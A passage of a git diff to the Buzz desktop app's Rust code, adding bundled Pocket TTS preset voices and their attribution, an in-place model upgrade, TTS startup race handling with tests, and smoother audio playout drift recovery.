status=failed reason=startup_timeout route_id={route_id}" + ); + })?; } - let hs = state.huddle()?; - if hs.tts_enabled { - if let Some(ref pipeline) = hs.tts_pipeline { - pipeline.speak(text)?; - } - } - Ok(()) + let sender = { + let hs = state.huddle()?; + let agent_is_present = hs + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .iter() + .any(|pubkey| pubkey.eq_ignore_ascii_case(&speaker_pubkey)); + if !agent_is_present { + eprintln!( + "buzz-desktop: tts stage=queue status=dropped reason=speaker_removed route_id={route_id}" + ); + return Ok(()); + } + hs.tts_pipeline + .as_ref() + .map(|pipeline| pipeline.text_sender()) + .map(|sender| { + let speaker_generation = sender.speaker_generation(&speaker_pubkey); + (sender, speaker_generation) + }) + }; + let Some((sender, speaker_generation)) = sender else { + eprintln!( + "buzz-desktop: tts stage=invoke status=failed reason=unavailable route_id={route_id}" + ); + return Err("Agent text to speech is enabled but its audio pipeline is unavailable".into()); + }; + enqueue_agent_tts_text(route_id, text, move |route_id, text| { + sender + .send( + route_id, + speaker_pubkey, + speaker_generation, + voice_reference, + text, + ) + .map_err(|error| format!("TTS queue closed while waiting to enqueue: {error}")) + }) + .await + .inspect(|_| eprintln!("buzz-desktop: tts stage=queue status=accepted route_id={route_id}")) + .inspect_err(|_| { + eprintln!("buzz-desktop: tts stage=queue status=failed reason=closed route_id={route_id}") + }) } /// Add an agent to the active huddle. diff --git a/desktop/src-tauri/src/huddle/models.rs b/desktop/src-tauri/src/huddle/models.rs index 11c9ee4c7d..f9f7065769 100644 --- a/desktop/src-tauri/src/huddle/models.rs +++ b/desktop/src-tauri/src/huddle/models.rs @@ -27,6 +27,10 @@ use sha2::{Digest, Sha256}; use super::pocket::{ april_model_info, PocketModelArtifact, APRIL_BUNDLE_ID, APRIL_MODEL_ID, APRIL_MODEL_REVISION, }; +use super::tts_voice_registry::POCKET_VOICES; + +#[path = "models_voice_upgrade.rs"] +mod voice_upgrade; // ── Integrity verification ──────────────────────────────────────────────────── // @@ -91,8 +95,8 @@ const TTS_REFERENCE_ARTIFACT: PocketModelArtifact = PocketModelArtifact { /// honest (each version tag identifies one specific set of model bytes). const STT_MODEL_VERSION: &str = "2"; -/// Identifies the exact April INT8 asset set expected by readiness checks. -const TTS_MODEL_VERSION: &str = "4"; +/// Identifies the April INT8 asset set plus the official VCTK presets. +const TTS_MODEL_VERSION: &str = "5"; /// Filename for the version manifest written alongside model files. const MANIFEST_FILENAME: &str = ".buzz-model-manifest"; @@ -160,39 +164,6 @@ const TTS_MODEL_DIR_NAME: &str = "pocket-tts"; /// Attribution sidecar written next to the Pocket TTS model files. const TTS_LICENSE_FILE_NAME: &str = "MODEL_LICENSE.txt"; -/// CC-BY-4.0 §3(a)(1) attribution block for Pocket TTS, its ONNX packaging, -/// and the bundled reference voice WAV. -const TTS_LICENSE_TEXT: &str = "\ -Pocket TTS -© Kyutai. - -Licensed under the Creative Commons Attribution 4.0 International License -(CC-BY-4.0). License text: https://creativecommons.org/licenses/by/4.0/ - -Original model by Kyutai: https://huggingface.co/kyutai/pocket-tts -Paper: Charles, Roebel, et al., Pocket TTS (arXiv:2509.06926). -Mimi neural codec by Kyutai is bundled as part of the model. - -April 2026 ONNX export by KevinAHM: -https://huggingface.co/KevinAHM/pocket-tts-onnx -Pinned revision: 58a6d00cf13d239b6748cb0769f35c580a8f606c - -Bundled reference voice (reference_sample.wav): -\"Mary (f, conversation)\" preset from the Kyutai TTS demo voice catalogue -(https://kyutai.org/tts), distributed via -https://huggingface.co/kyutai/tts-voices as `vctk/p333_023_enhanced.wav`. -Original recording from the Voice Cloning Toolkit (VCTK) corpus, speaker p333: -https://datashare.ed.ac.uk/handle/10283/3443 (CC-BY-4.0). -Recording enhancement (denoise/dereverb) by ai-coustics: -https://ai-coustics.com/ - -Buzz ships all ONNX/model artifacts and the reference voice WAV unmodified, -renamed only by placement in the local model directory. - -Provided \"AS IS\", without warranty of any kind, express or implied. See the -license text for full warranty disclaimer. -"; - /// All files that must be present for Pocket TTS to be considered ready. const TTS_EXPECTED_FILES: &[&str] = &[ "bundle.json", @@ -205,6 +176,17 @@ const TTS_EXPECTED_FILES: &[&str] = &[ "tokenizer.model", "LICENSE", "reference_sample.wav", + "anna.wav", + "vera.wav", + "fantine.wav", + "charles.wav", + "paul.wav", + "eponine.wav", + "azelma.wav", + "george.wav", + "jane.wav", + "michael.wav", + "eve.wav", TTS_LICENSE_FILE_NAME, ]; @@ -705,6 +687,9 @@ impl ModelManager { /// Start a background Pocket TTS download. No-op if already ready or downloading. pub fn start_tts_download(&self, http_client: reqwest::Client) { + if let Err(error) = voice_upgrade::install_vctk_presets_into_v4_model(&self.models_dir) { + eprintln!("buzz-desktop: could not upgrade existing Pocket voices in place: {error}"); + } let manager = self.clone(); self.tts.start_download( &self.models_dir, @@ -822,7 +807,7 @@ impl ModelManager { /// - five ONNX sessions selected by the April INT8 bundle /// - bundle metadata, SentencePiece tokenizer, and learned voice BOS /// - upstream `LICENSE` plus Buzz's `MODEL_LICENSE.txt` attribution sidecar - /// - `reference_sample.wav` as the bundled default voice + /// - `reference_sample.wav` plus the embedded official VCTK presets /// /// Files are written to a temp directory first, then moved atomically. async fn download_tts_model(&self, http_client: reqwest::Client) -> Result<(), String> { @@ -904,9 +889,20 @@ impl ModelManager { }); } - tokio::fs::write(temp_dir.join(TTS_LICENSE_FILE_NAME), TTS_LICENSE_TEXT) - .await - .map_err(|e| format!("write TTS model license sidecar: {e}"))?; + tokio::fs::write( + temp_dir.join(TTS_LICENSE_FILE_NAME), + voice_upgrade::TTS_LICENSE_TEXT, + ) + .await + .map_err(|e| format!("write TTS model license sidecar: {e}"))?; + for voice in POCKET_VOICES { + let Some(bytes) = voice.bytes else { + continue; + }; + tokio::fs::write(temp_dir.join(voice.reference_file), bytes) + .await + .map_err(|e| format!("install bundled {} voice: {e}", voice.display_name))?; + } self.tts.set_status(ModelStatus::Downloading { progress_percent: 90, diff --git a/desktop/src-tauri/src/huddle/models_tests.rs b/desktop/src-tauri/src/huddle/models_tests.rs index 4bcb4081e0..699ffbe459 100644 --- a/desktop/src-tauri/src/huddle/models_tests.rs +++ b/desktop/src-tauri/src/huddle/models_tests.rs @@ -22,11 +22,8 @@ fn expected_files_match_april_int8_metadata() { .artifacts .iter() .map(|artifact| artifact.filename) - .chain([ - TTS_LICENSE_ARTIFACT.filename, - TTS_REFERENCE_ARTIFACT.filename, - TTS_LICENSE_FILE_NAME, - ]) + .chain([TTS_LICENSE_ARTIFACT.filename, TTS_LICENSE_FILE_NAME]) + .chain(POCKET_VOICES.iter().map(|voice| voice.reference_file)) .collect::>(); expected.sort_unstable(); let mut actual = TTS_EXPECTED_FILES.to_vec(); @@ -36,6 +33,7 @@ fn expected_files_match_april_int8_metadata() { assert!(!actual.contains(&"flow_lm_main.onnx")); assert!(!actual.contains(&"flow_lm_flow.onnx")); assert!(!actual.contains(&"mimi_decoder.onnx")); + assert!(!actual.contains(&"marius.wav")); } #[test] diff --git a/desktop/src-tauri/src/huddle/models_voice_upgrade.rs b/desktop/src-tauri/src/huddle/models_voice_upgrade.rs new file mode 100644 index 0000000000..5233e02615 --- /dev/null +++ b/desktop/src-tauri/src/huddle/models_voice_upgrade.rs @@ -0,0 +1,128 @@ +use super::*; +use crate::huddle::tts_voice_registry::POCKET_VOICES; + +const PRESET_VOICE_TTS_MODEL_VERSION: &str = "4"; + +/// Attribution written beside every installed Pocket model and voice asset. +pub(super) const TTS_LICENSE_TEXT: &str = "\ +Pocket TTS +© Kyutai. + +Licensed under the Creative Commons Attribution 4.0 International License +(CC-BY-4.0). License text: https://creativecommons.org/licenses/by/4.0/ + +Original model by Kyutai: https://huggingface.co/kyutai/pocket-tts +Paper: Charles, Roebel, et al., Pocket TTS (arXiv:2509.06926). +Mimi neural codec by Kyutai is bundled as part of the model. + +April 2026 ONNX export by KevinAHM: +https://huggingface.co/KevinAHM/pocket-tts-onnx +Pinned revision: 58a6d00cf13d239b6748cb0769f35c580a8f606c + +Bundled English VCTK presets: Anna (p228), Vera (p229), Fantine (p244), +Charles (p254), Paul (p259), Eponine (p262), Azelma (p303), George (p315), +Mary (p333), Jane (p339), Michael (p360), and Eve (p361). These exact, +ai-coustics-enhanced WAVs come from Kyutai's tts-voices repository at revision +323332d33f997de8394f24a193e1a76df720e01a. +Source: https://huggingface.co/kyutai/tts-voices/tree/323332d33f997de8394f24a193e1a76df720e01a/vctk +Original recordings: Voice Cloning Toolkit (VCTK) corpus, +https://datashare.ed.ac.uk/handle/10283/3443 (CC-BY-4.0). +Enhancement (denoise/dereverb): ai-coustics, https://ai-coustics.com/ + +Buzz ships the ONNX/model artifacts and voice WAVs unmodified, renamed only +by placement in the local model directory. + +Provided \"AS IS\", without warranty of any kind, express or implied. See the +license text for full warranty disclaimer. +"; + +fn is_embedded_voice_file(filename: &str) -> bool { + POCKET_VOICES + .iter() + .any(|voice| voice.bytes.is_some() && voice.reference_file == filename) +} + +/// Add the official VCTK presets to an otherwise-ready v4 install. +/// +/// Model artifacts and Mary already exist in v4. The manifest is written last, +/// so interruption leaves v4 intact and the next launch retries. +pub(super) fn install_vctk_presets_into_v4_model(models_dir: &Path) -> Result<(), String> { + let model_dir = models_dir.join(TTS_MODEL_DIR_NAME); + let manifest_path = model_dir.join(MANIFEST_FILENAME); + let version = match std::fs::read_to_string(&manifest_path) { + Ok(version) => version, + Err(_) => return Ok(()), + }; + if version.trim() != PRESET_VOICE_TTS_MODEL_VERSION { + return Ok(()); + } + if !TTS_EXPECTED_FILES + .iter() + .filter(|filename| !is_embedded_voice_file(filename)) + .all(|filename| model_dir.join(filename).is_file()) + { + return Ok(()); + } + + for voice in POCKET_VOICES { + let Some(bytes) = voice.bytes else { + continue; + }; + std::fs::write(model_dir.join(voice.reference_file), bytes) + .map_err(|error| format!("write bundled {} voice: {error}", voice.display_name))?; + } + let retired_marius = model_dir.join("marius.wav"); + if retired_marius.is_file() { + std::fs::remove_file(retired_marius) + .map_err(|error| format!("remove retired Marius voice: {error}"))?; + } + std::fs::write(model_dir.join(TTS_LICENSE_FILE_NAME), TTS_LICENSE_TEXT) + .map_err(|error| format!("update Pocket voice notice: {error}"))?; + std::fs::write(manifest_path, TTS_MODEL_VERSION) + .map_err(|error| format!("update Pocket model manifest: {error}")) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn v4_install_adds_presets_without_redownloading_models() { + let temp = tempfile::tempdir().expect("tempdir"); + let model_dir = temp.path().join(TTS_MODEL_DIR_NAME); + std::fs::create_dir_all(&model_dir).expect("create model dir"); + for file in TTS_EXPECTED_FILES + .iter() + .filter(|filename| !is_embedded_voice_file(filename)) + { + std::fs::write(model_dir.join(file), b"existing").expect("write prior file"); + } + std::fs::write( + model_dir.join(MANIFEST_FILENAME), + PRESET_VOICE_TTS_MODEL_VERSION, + ) + .expect("write prior manifest"); + std::fs::write(model_dir.join("marius.wav"), b"retired").expect("write retired voice"); + + install_vctk_presets_into_v4_model(temp.path()).expect("in-place upgrade"); + + for voice in POCKET_VOICES { + if let Some(bytes) = voice.bytes { + assert_eq!( + std::fs::read(model_dir.join(voice.reference_file)) + .expect("bundled voice installed"), + bytes + ); + } + } + assert_eq!( + std::fs::read_to_string(model_dir.join(MANIFEST_FILENAME)).expect("updated manifest"), + TTS_MODEL_VERSION + ); + assert!(!model_dir.join("marius.wav").exists()); + assert!( + ModelSlot::new(TTS_MODEL_DIR_NAME, TTS_EXPECTED_FILES, TTS_MODEL_VERSION) + .is_ready(temp.path()) + ); + } +} diff --git a/desktop/src-tauri/src/huddle/pipeline.rs b/desktop/src-tauri/src/huddle/pipeline.rs index 18b688a971..e523ee22bf 100644 --- a/desktop/src-tauri/src/huddle/pipeline.rs +++ b/desktop/src-tauri/src/huddle/pipeline.rs @@ -3,9 +3,12 @@ //! Handles starting, hot-starting, and spawning transcription tasks for //! the voice pipelines. Extracted from mod.rs to keep the command layer thin. -use std::sync::{ - atomic::{AtomicU64, Ordering}, - Arc, Mutex, +use std::{ + sync::{ + atomic::{AtomicU64, Ordering}, + Arc, Mutex, + }, + time::Duration, }; use nostr::JsonUtil; @@ -17,7 +20,7 @@ use crate::events; use super::models; use super::relay_api::{self, fetch_channel_members, parse_channel_uuid}; -use super::state::{HuddlePhase, VoiceInputMode}; +use super::state::{HuddlePhase, HuddleState, VoiceInputMode}; use super::stt; use super::tts; @@ -79,7 +82,7 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S .map(|m| m.take_tts_ready()) .unwrap_or(false); - // Start TTS first (so STT can capture tts_cancel). + // Start TTS first so STT can observe its active-playback gate. if !has_tts && (tts_ready || models::is_tts_ready()) { if let Err(e) = maybe_start_tts_pipeline(&state).await { eprintln!("buzz-desktop: TTS hotstart failed: {e}"); @@ -127,25 +130,45 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S .await .ok(); let fresh_members = fetch_channel_members(eph_id, None, &state).await.ok(); - let transcription_auto_enabled = if fresh_agents.is_some() || fresh_members.is_some() { - let mut hs = state.huddle()?; - if !hs.is_current_huddle(eph_id, huddle_generation) { - return Ok(()); - } - if let Some(agents) = fresh_agents { - *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents; - } - if let Some(members) = fresh_members { - hs.participants = members; - } - hs.last_agent_refresh = Some(std::time::Instant::now()); - hs.maybe_auto_enable_transcription_for_agents() - } else { - false - }; + let (roster_changed, transcription_auto_enabled) = + if fresh_agents.is_some() || fresh_members.is_some() { + let mut hs = state.huddle()?; + if !hs.is_current_huddle(eph_id, huddle_generation) { + return Ok(()); + } + let mut roster_changed = false; + if let Some(agents) = fresh_agents { + let mut current_agents = + hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()); + if *current_agents != agents { + *current_agents = agents; + roster_changed = true; + } + } + if let Some(members) = fresh_members { + if hs.participants != members { + hs.participants = members; + roster_changed = true; + } + } + hs.last_agent_refresh = Some(std::time::Instant::now()); + ( + roster_changed, + hs.maybe_auto_enable_transcription_for_agents(), + ) + } else { + (false, false) + }; if transcription_auto_enabled { start_auto_enabled_transcription(&state, eph_id).await; } + // Audio authentication auto-adds a joining human to the ephemeral + // channel. Emit whenever that authoritative roster changes so the + // desktop participant strip updates immediately instead of waiting + // for its slow fallback IPC read. + if roster_changed || transcription_auto_enabled { + state.emit_huddle_state_changed(); + } } } @@ -170,23 +193,32 @@ pub(crate) async fn post_connect_setup( fetch_channel_members(ephemeral_channel_id, Some("bot"), state), fetch_channel_members(ephemeral_channel_id, None, state), ); - let transcription_auto_enabled = { + let (roster_changed, transcription_auto_enabled) = { let mut hs = state.huddle()?; if !hs.is_current_huddle(ephemeral_channel_id, huddle_generation) { return Ok(PostConnectOutcome::Stale); } + let mut roster_changed = false; if let Ok(agents) = agents_result { - *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents; + let mut current_agents = hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()); + if *current_agents != agents { + *current_agents = agents; + roster_changed = true; + } } if let Ok(all_members) = all_members_result { - if !all_members.is_empty() { + if !all_members.is_empty() && hs.participants != all_members { hs.participants = all_members; + roster_changed = true; } } - hs.maybe_auto_enable_transcription_for_agents() + ( + roster_changed, + hs.maybe_auto_enable_transcription_for_agents(), + ) }; - if transcription_auto_enabled { + if roster_changed || transcription_auto_enabled { state.emit_huddle_state_changed(); } @@ -278,12 +310,12 @@ pub(crate) async fn maybe_start_stt_pipeline( // the worker thread (~200ms) and must not block under the mutex. let ( tts_active, - tts_cancel, agent_pubkeys_arc, session_gen, expected_generation, stt_starting, ptt_active_for_stt, + manual_mic_unmuted_for_stt, old_stt, ) = { let mut hs = state.huddle()?; @@ -307,14 +339,19 @@ pub(crate) async fn maybe_start_stt_pipeline( } else { None }; + let manual_mic_unmuted = if hs.voice_input_mode == VoiceInputMode::PushToTalk { + Some(Arc::clone(&hs.manual_mic_unmuted)) + } else { + None + }; ( Arc::clone(&hs.tts_active), - Some(Arc::clone(&hs.tts_cancel)), Arc::clone(&hs.agent_pubkeys), Arc::clone(&hs.session_generation), hs.session_generation.load(Ordering::Acquire), stt_starting, ptt, + manual_mic_unmuted, old, ) }; @@ -322,7 +359,12 @@ pub(crate) async fn maybe_start_stt_pipeline( drop(old_stt); let constructed = tokio::task::spawn_blocking(move || { - stt::SttPipeline::new(model_dir, tts_active, tts_cancel, ptt_active_for_stt) + stt::SttPipeline::new( + model_dir, + tts_active, + ptt_active_for_stt, + manual_mic_unmuted_for_stt, + ) }) .await; let (pipeline, text_rx) = match constructed { @@ -389,10 +431,44 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result return Ok(false), }; + // Avoid resolving and hashing imported voice files on every hot-start poll + // when TTS is already disabled or running. The guarded claim below repeats + // these checks after the fallible work to close the race. + { + let huddle = state.huddle()?; + if huddle.tts_pipeline.is_some() || !huddle.tts_enabled { + return Ok(false); + } + } + + // Resolve all fallible construction inputs before claiming the sentinel so + // an unreadable optional voice registry cannot wedge future start attempts. + let output_device = state + .huddle_audio + .output_device + .lock() + .unwrap_or_else(|e| e.into_inner()) + .clone(); + let app = state + .app_handle + .lock() + .map_err(|error| format!("app handle lock poisoned: {error}"))? + .clone(); + let voice_preferences = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}")) + .map(|settings| settings.voice_preferences.clone())?; + let initial_voice = match app.as_ref() { + Some(app) => super::tts_settings::pocket_voice_reference(app, &voice_preferences)?, + None => super::tts_settings::bundled_pocket_voice_reference(&voice_preferences), + }; + // Atomically check preconditions and claim the construction slot. // The sentinel prevents a second caller from starting construction // while we're building outside the lock. - let (tts_active, tts_cancel) = { + let (tts_active, tts_cancel, tts_starting) = { let hs = state.huddle()?; if hs.tts_pipeline.is_some() { return Ok(false); @@ -403,18 +479,26 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result Result Result<(), String> { + let starting = { + let huddle = state.huddle()?; + Arc::clone(&huddle.tts_starting) + }; + tokio::time::timeout(Duration::from_secs(15), async { + while starting.load(Ordering::Acquire) { + tokio::time::sleep(Duration::from_millis(10)).await; } - hs.tts_pipeline = Some(pipeline); + }) + .await + .map_err(|_| "TTS pipeline startup did not finish before timeout".to_string())?; + // The owner clears the sentinel while holding the huddle lock, before it + // publishes. Reacquiring that lock ensures publication is visible before + // the losing caller looks up the sender. + drop(state.huddle()?); + Ok(()) +} + +struct TtsStartingGuard(Arc); + +impl Drop for TtsStartingGuard { + fn drop(&mut self) { + self.0.store(false, Ordering::Release); } +} +/// Publish a constructed TTS pipeline against the latest settings. +/// +/// Construction happens outside locks and can overlap a voice change or OFF +/// transition. Holding the huddle lock while re-reading settings gives either +/// transition a safe ordering: it updates the installed pipeline afterward, +/// or this finalizer observes the new setting before publishing. +fn finalize_tts_pipeline_start( + state: &AppState, + publish: impl FnOnce(&str, &mut HuddleState), +) -> Result { + let mut huddle = state.huddle()?; + huddle.tts_starting.store(false, Ordering::Release); + if !huddle.tts_enabled + || !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) + || huddle.tts_pipeline.is_some() + { + return Ok(false); + } + let app = state + .app_handle + .lock() + .map_err(|error| format!("app handle lock poisoned: {error}"))? + .clone(); + let preferences = state + .huddle_audio + .tts + .lock() + .map_err(|error| format!("text-to-speech settings lock poisoned: {error}")) + .map(|settings| settings.voice_preferences.clone())?; + let voice = match app { + Some(app) => super::tts_settings::pocket_voice_reference(&app, &preferences)?, + None => super::tts_settings::bundled_pocket_voice_reference(&preferences), + }; + publish(&voice, &mut huddle); Ok(true) } +fn should_reselect_constructed_voice(constructed_voice: &str, latest_voice: &str) -> bool { + constructed_voice != latest_voice +} + /// Sign an STT transcript event and produce the guarded POST body. /// /// Factored out of the transcription loop so egress boundary 5 (huddle STT) @@ -570,3 +718,148 @@ pub(crate) fn spawn_transcription_task( } }); } + +#[cfg(test)] +mod tts_start_race_tests { + use std::sync::{ + atomic::{AtomicBool, Ordering}, + Arc, Barrier, Mutex, + }; + use std::time::Duration; + + use crate::app_state::build_app_state; + + use super::{ + await_inflight_tts_start, finalize_tts_pipeline_start, should_reselect_constructed_voice, + HuddlePhase, + }; + + #[tokio::test] + async fn a_losing_starter_observes_publication_before_resuming() { + let state = Arc::new(build_app_state()); + { + let mut huddle = state.huddle().expect("huddle state"); + huddle.phase = HuddlePhase::Active; + huddle.tts_enabled = true; + huddle.tts_starting.store(true, Ordering::Release); + } + let published = Arc::new(AtomicBool::new(false)); + let owner_state = Arc::clone(&state); + let owner_published = Arc::clone(&published); + let owner = std::thread::spawn(move || { + std::thread::sleep(Duration::from_millis(20)); + finalize_tts_pipeline_start(&owner_state, |_, _| { + owner_published.store(true, Ordering::Release); + }) + }); + + await_inflight_tts_start(&state) + .await + .expect("wait for pipeline owner"); + assert!(published.load(Ordering::Acquire)); + assert!(owner.join().expect("pipeline owner").expect("finalize")); + } + + #[test] + fn constructor_fallback_survives_unchanged_preference_at_publication() { + let selected_voice = Mutex::new(super::super::pocket::DEFAULT_VOICE.to_string()); + let constructed_voice = "eve"; + let latest_voice = "eve"; + + if should_reselect_constructed_voice(constructed_voice, latest_voice) { + *selected_voice.lock().expect("selected voice") = latest_voice.to_string(); + } + + assert_eq!( + selected_voice.lock().expect("selected voice").as_str(), + super::super::pocket::DEFAULT_VOICE + ); + } + + #[test] + fn construction_reconciles_a_voice_selected_while_starting() { + let state = Arc::new(build_app_state()); + { + let mut huddle = state.huddle().expect("huddle state"); + huddle.phase = HuddlePhase::Active; + huddle.tts_enabled = true; + huddle.tts_starting.store(true, Ordering::Release); + } + + let constructed = Arc::new(Barrier::new(2)); + let publish = Arc::new(Barrier::new(2)); + let selected_voice = Arc::new(Mutex::new(None)); + let worker_state = Arc::clone(&state); + let worker_constructed = Arc::clone(&constructed); + let worker_publish = Arc::clone(&publish); + let worker_voice = Arc::clone(&selected_voice); + let worker = std::thread::spawn(move || { + worker_constructed.wait(); + worker_publish.wait(); + finalize_tts_pipeline_start(&worker_state, |voice, _| { + *worker_voice.lock().expect("selected voice") = Some(voice.to_string()); + }) + }); + + constructed.wait(); + assert!(state + .huddle() + .expect("huddle state") + .tts_starting + .load(Ordering::Acquire)); + state + .huddle_audio + .tts + .lock() + .expect("text-to-speech settings") + .voice_preferences = vec!["pocket:eve".to_string()]; + publish.wait(); + + assert!(worker.join().expect("starter thread").expect("finalize")); + assert_eq!( + *selected_voice.lock().expect("selected voice"), + Some("eve".to_string()) + ); + } + + #[test] + fn construction_is_discarded_when_disabled_while_starting() { + let state = Arc::new(build_app_state()); + { + let mut huddle = state.huddle().expect("huddle state"); + huddle.phase = HuddlePhase::Active; + huddle.tts_enabled = true; + huddle.tts_starting.store(true, Ordering::Release); + } + + let constructed = Arc::new(Barrier::new(2)); + let publish = Arc::new(Barrier::new(2)); + let did_publish = Arc::new(Mutex::new(false)); + let worker_state = Arc::clone(&state); + let worker_constructed = Arc::clone(&constructed); + let worker_publish = Arc::clone(&publish); + let worker_did_publish = Arc::clone(&did_publish); + let worker = std::thread::spawn(move || { + worker_constructed.wait(); + worker_publish.wait(); + finalize_tts_pipeline_start(&worker_state, |_, _| { + *worker_did_publish.lock().expect("publish flag") = true; + }) + }); + + constructed.wait(); + { + let mut huddle = state.huddle().expect("huddle state"); + huddle.tts_enabled = false; + } + publish.wait(); + + assert!(!worker.join().expect("starter thread").expect("finalize")); + assert!(!*did_publish.lock().expect("publish flag")); + assert!(!state + .huddle() + .expect("huddle state") + .tts_starting + .load(Ordering::Acquire)); + } +} diff --git a/desktop/src-tauri/src/huddle/playout.rs b/desktop/src-tauri/src/huddle/playout.rs index bf5d4a2390..346b425aec 100644 --- a/desktop/src-tauri/src/huddle/playout.rs +++ b/desktop/src-tauri/src/huddle/playout.rs @@ -38,6 +38,8 @@ use super::wire::{FrameHeader, FLAG_DTX, V2_HEADER_LEN}; /// cleared each tick — peers that didn't send a frame in the last window are /// considered silent. const SPEAKER_TICK_MS: u64 = 500; +/// UI cadence for per-speaker waveform levels. +const SPEAKER_LEVEL_TICK_MS: u64 = 50; /// Per-peer arrival window for the TTS interrupt frame counter. const FRAME_WINDOW: std::time::Duration = std::time::Duration::from_millis(500); /// Playout clock: NetEq emits 10 ms frames, so we tick at 10 ms. @@ -52,7 +54,7 @@ const PLAYOUT_TICK_MS: u64 = 10; /// NetEq's PLC/expand path normally. const IDLE_PEER_GRACE: std::time::Duration = std::time::Duration::from_millis(500); -/// Drift bound on per-peer rodio `Player` queue depth. +/// Queue-depth thresholds for smooth producer/device clock-drift recovery. /// /// The playout pipeline has two clocks: the producer is a `tokio` 10 ms /// interval (this loop) that pulls from NetEq and appends to each peer's @@ -67,12 +69,28 @@ const IDLE_PEER_GRACE: std::time::Duration = std::time::Duration::from_millis(50 /// that drift would accumulate as monotonic added latency (and eventually /// memory). /// -/// We bound it explicitly: before each append, if the queue is already -/// at or above this threshold, drop the oldest queued frame with -/// `Player::skip_one()` so the new frame replaces it. 4 frames × 10 ms -/// = 40 ms, far below NetEq's `max_delay_ms = 200 ms`, so the audible -/// effect is negligible while the worst-case latency stays bounded. -const PLAYOUT_QUEUE_HIGH_WATER: usize = 4; +/// Dropping a whole 10 ms buffer at a shallow queue depth creates a waveform +/// discontinuity that is audible as a click or static. Once the queue grows +/// beyond the recovery threshold, play it 2% faster until it returns to the +/// target. A hard drop remains only as an emergency bound at 300 ms. +const PLAYOUT_QUEUE_RECOVERY_START: usize = 10; +const PLAYOUT_QUEUE_RECOVERY_END: usize = 4; +const PLAYOUT_QUEUE_EMERGENCY_HIGH_WATER: usize = 30; +const PLAYOUT_RECOVERY_SPEED: f32 = 1.02; + +/// Map sender-authored dBov into a useful UI range. Normal conversational +/// speech generally sits between roughly -60 dBov and -12 dBov. +fn normalized_speaker_level(level_dbov: i8) -> f32 { + ((f32::from(level_dbov) + 60.0) / 48.0).clamp(0.0, 1.0) +} + +fn should_recover_playout(depth: usize, currently_recovering: bool) -> bool { + if currently_recovering { + depth > PLAYOUT_QUEUE_RECOVERY_END + } else { + depth >= PLAYOUT_QUEUE_RECOVERY_START + } +} /// One remote peer's slot: jitter buffer + dedicated rodio Player. /// @@ -87,6 +105,7 @@ struct PeerSlot { /// by the playout tick to decide whether to keep draining NetEq into the /// Player. Updated on every successful `insert_packet`. last_packet_at: tokio::time::Instant, + recovering_playout: bool, } impl PeerSlot { @@ -96,6 +115,7 @@ impl PeerSlot { jitter, player: rodio::Player::connect_new(sink_mixer), last_packet_at: tokio::time::Instant::now(), + recovering_playout: false, }), Err(e) => { eprintln!("buzz-desktop: jitter buffer init peer {peer_idx}: {e}"); @@ -121,6 +141,19 @@ impl PeerSlot { fn is_active(&self) -> bool { self.last_packet_at.elapsed() < IDLE_PEER_GRACE || !self.jitter.is_empty() } + + fn update_playout_recovery(&mut self) { + let should_recover = should_recover_playout(self.player.len(), self.recovering_playout); + if should_recover == self.recovering_playout { + return; + } + self.recovering_playout = should_recover; + self.player.set_speed(if should_recover { + PLAYOUT_RECOVERY_SPEED + } else { + 1.0 + }); + } } /// Drive the receive loop until cancelled or the WS closes. @@ -149,12 +182,16 @@ pub(crate) async fn run_playout_recv_loop( let mut index_to_pubkey: std::collections::HashMap = initial_peers.into_iter().collect(); let mut active_indices: std::collections::HashSet = std::collections::HashSet::new(); + let mut speaker_levels: std::collections::HashMap = std::collections::HashMap::new(); let mut frame_counts: std::collections::HashMap = std::collections::HashMap::new(); let mut last_frame_reset = tokio::time::Instant::now(); let mut tts_was_active = false; let mut speaker_tick = tokio::time::interval(std::time::Duration::from_millis(SPEAKER_TICK_MS)); speaker_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + let mut speaker_level_tick = + tokio::time::interval(std::time::Duration::from_millis(SPEAKER_LEVEL_TICK_MS)); + speaker_level_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); let mut playout_tick = tokio::time::interval(std::time::Duration::from_millis(PLAYOUT_TICK_MS)); // `Delay` (not `Skip`) so a brief stall in another select arm — e.g. the // ws_tx_for_pongs mutex contending with the encode-side task on a Ping — @@ -187,15 +224,14 @@ pub(crate) async fn run_playout_recv_loop( } match slot.jitter.get_audio() { Ok((samples, _vad)) => { - // Bound producer-vs-device-clock drift. If our - // tokio tick has gotten ahead of the audio - // callback's actual consumption rate, drop the - // oldest queued frame rather than letting the - // queue grow without bound. - if slot.player.len() >= PLAYOUT_QUEUE_HIGH_WATER { + // Smooth out producer-vs-device clock drift. A + // shallow hard drop used to remove entire 10 ms + // chunks and create audible discontinuities. + slot.update_playout_recovery(); + if slot.player.len() >= PLAYOUT_QUEUE_EMERGENCY_HIGH_WATER { eprintln!( - "buzz-desktop: playout queue high-water for peer {peer_idx} \ - (depth={}) — dropping oldest frame", + "buzz-desktop: playout queue emergency high-water for peer \ + {peer_idx} (depth={}) — dropping oldest frame", slot.player.len(), ); slot.player.skip_one(); @@ -221,6 +257,22 @@ pub(crate) async fn run_playout_recv_loop( } active_indices.clear(); } + _ = speaker_level_tick.tick() => { + if let Some(ref app) = app_handle { + use tauri::Emitter; + let levels: std::collections::HashMap = speaker_levels + .iter() + .filter_map(|(idx, level)| { + index_to_pubkey.get(idx).cloned().map(|pubkey| (pubkey, *level)) + }) + .collect(); + let _ = app.emit("huddle-speaker-levels", &levels); + } + for level in speaker_levels.values_mut() { + *level *= 0.55; + } + speaker_levels.retain(|_, level| *level > 0.015); + } msg = ws_rx.next() => { match msg { Some(Ok(WsMsg::Binary(data))) => { @@ -253,6 +305,11 @@ pub(crate) async fn run_playout_recv_loop( // make their tile flash for the 500 